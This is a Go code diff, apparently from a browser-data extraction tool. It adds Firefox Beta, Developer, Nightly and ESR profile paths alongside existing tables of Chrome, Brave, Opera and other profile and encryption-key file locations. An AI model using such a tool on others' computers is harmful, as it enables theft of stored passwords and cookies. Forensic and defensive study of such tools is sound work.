|
|
@ -13,6 +13,11 @@ import ( |
|
|
|
) |
|
|
|
) |
|
|
|
|
|
|
|
|
|
|
|
const ( |
|
|
|
const ( |
|
|
|
|
|
|
|
firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release/" |
|
|
|
|
|
|
|
fireFoxBetaProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-beta/" |
|
|
|
|
|
|
|
fireFoxDevProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.dev-edition-default/" |
|
|
|
|
|
|
|
fireFoxNightlyProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-nightly/" |
|
|
|
|
|
|
|
fireFoxESRProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-esr/" |
|
|
|
chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/*/" |
|
|
|
chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/*/" |
|
|
|
chromeKeyPath = "/AppData/Local/Google/Chrome/User Data/Local State" |
|
|
|
chromeKeyPath = "/AppData/Local/Google/Chrome/User Data/Local State" |
|
|
|
chromeBetaProfilePath = "/AppData/Local/Google/Chrome Beta/User Data/*/" |
|
|
|
chromeBetaProfilePath = "/AppData/Local/Google/Chrome Beta/User Data/*/" |
|
|
@ -25,7 +30,6 @@ const ( |
|
|
|
braveKeyPath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Local State" |
|
|
|
braveKeyPath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Local State" |
|
|
|
speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/*/" |
|
|
|
speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/*/" |
|
|
|
qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/" |
|
|
|
qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/" |
|
|
|
firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default*/" |
|
|
|
|
|
|
|
operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/" |
|
|
|
operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/" |
|
|
|
operaKeyPath = "/AppData/Roaming/Opera Software/Opera Stable/Local State" |
|
|
|
operaKeyPath = "/AppData/Roaming/Opera Software/Opera Stable/Local State" |
|
|
|
operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/" |
|
|
|
operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/" |
|
|
@ -42,6 +46,31 @@ var ( |
|
|
|
Storage string |
|
|
|
Storage string |
|
|
|
New func(profile, key, name, storage string) (Browser, error) |
|
|
|
New func(profile, key, name, storage string) (Browser, error) |
|
|
|
}{ |
|
|
|
}{ |
|
|
|
|
|
|
|
"firefox": { |
|
|
|
|
|
|
|
ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath, |
|
|
|
|
|
|
|
Name: firefoxName, |
|
|
|
|
|
|
|
New: NewFirefox, |
|
|
|
|
|
|
|
}, |
|
|
|
|
|
|
|
"firefox-beta": { |
|
|
|
|
|
|
|
ProfilePath: os.Getenv("USERPROFILE") + fireFoxBetaProfilePath, |
|
|
|
|
|
|
|
Name: firefoxBetaName, |
|
|
|
|
|
|
|
New: NewFirefox, |
|
|
|
|
|
|
|
}, |
|
|
|
|
|
|
|
"firefox-dev": { |
|
|
|
|
|
|
|
ProfilePath: os.Getenv("USERPROFILE") + fireFoxDevProfilePath, |
|
|
|
|
|
|
|
Name: firefoxDevName, |
|
|
|
|
|
|
|
New: NewFirefox, |
|
|
|
|
|
|
|
}, |
|
|
|
|
|
|
|
"firefox-nightly": { |
|
|
|
|
|
|
|
ProfilePath: os.Getenv("USERPROFILE") + fireFoxNightlyProfilePath, |
|
|
|
|
|
|
|
Name: firefoxNightlyName, |
|
|
|
|
|
|
|
New: NewFirefox, |
|
|
|
|
|
|
|
}, |
|
|
|
|
|
|
|
"firefox-esr": { |
|
|
|
|
|
|
|
ProfilePath: os.Getenv("USERPROFILE") + fireFoxESRProfilePath, |
|
|
|
|
|
|
|
Name: firefoxESRName, |
|
|
|
|
|
|
|
New: NewFirefox, |
|
|
|
|
|
|
|
}, |
|
|
|
"chrome": { |
|
|
|
"chrome": { |
|
|
|
ProfilePath: os.Getenv("USERPROFILE") + chromeProfilePath, |
|
|
|
ProfilePath: os.Getenv("USERPROFILE") + chromeProfilePath, |
|
|
|
KeyPath: os.Getenv("USERPROFILE") + chromeKeyPath, |
|
|
|
KeyPath: os.Getenv("USERPROFILE") + chromeKeyPath, |
|
|
@ -76,11 +105,6 @@ var ( |
|
|
|
Name: qqBrowserName, |
|
|
|
Name: qqBrowserName, |
|
|
|
New: NewChromium, |
|
|
|
New: NewChromium, |
|
|
|
}, |
|
|
|
}, |
|
|
|
"firefox": { |
|
|
|
|
|
|
|
ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath, |
|
|
|
|
|
|
|
Name: firefoxName, |
|
|
|
|
|
|
|
New: NewFirefox, |
|
|
|
|
|
|
|
}, |
|
|
|
|
|
|
|
"brave": { |
|
|
|
"brave": { |
|
|
|
ProfilePath: os.Getenv("USERPROFILE") + braveProfilePath, |
|
|
|
ProfilePath: os.Getenv("USERPROFILE") + braveProfilePath, |
|
|
|
KeyPath: os.Getenv("USERPROFILE") + braveKeyPath, |
|
|
|
KeyPath: os.Getenv("USERPROFILE") + braveKeyPath, |
|
|
|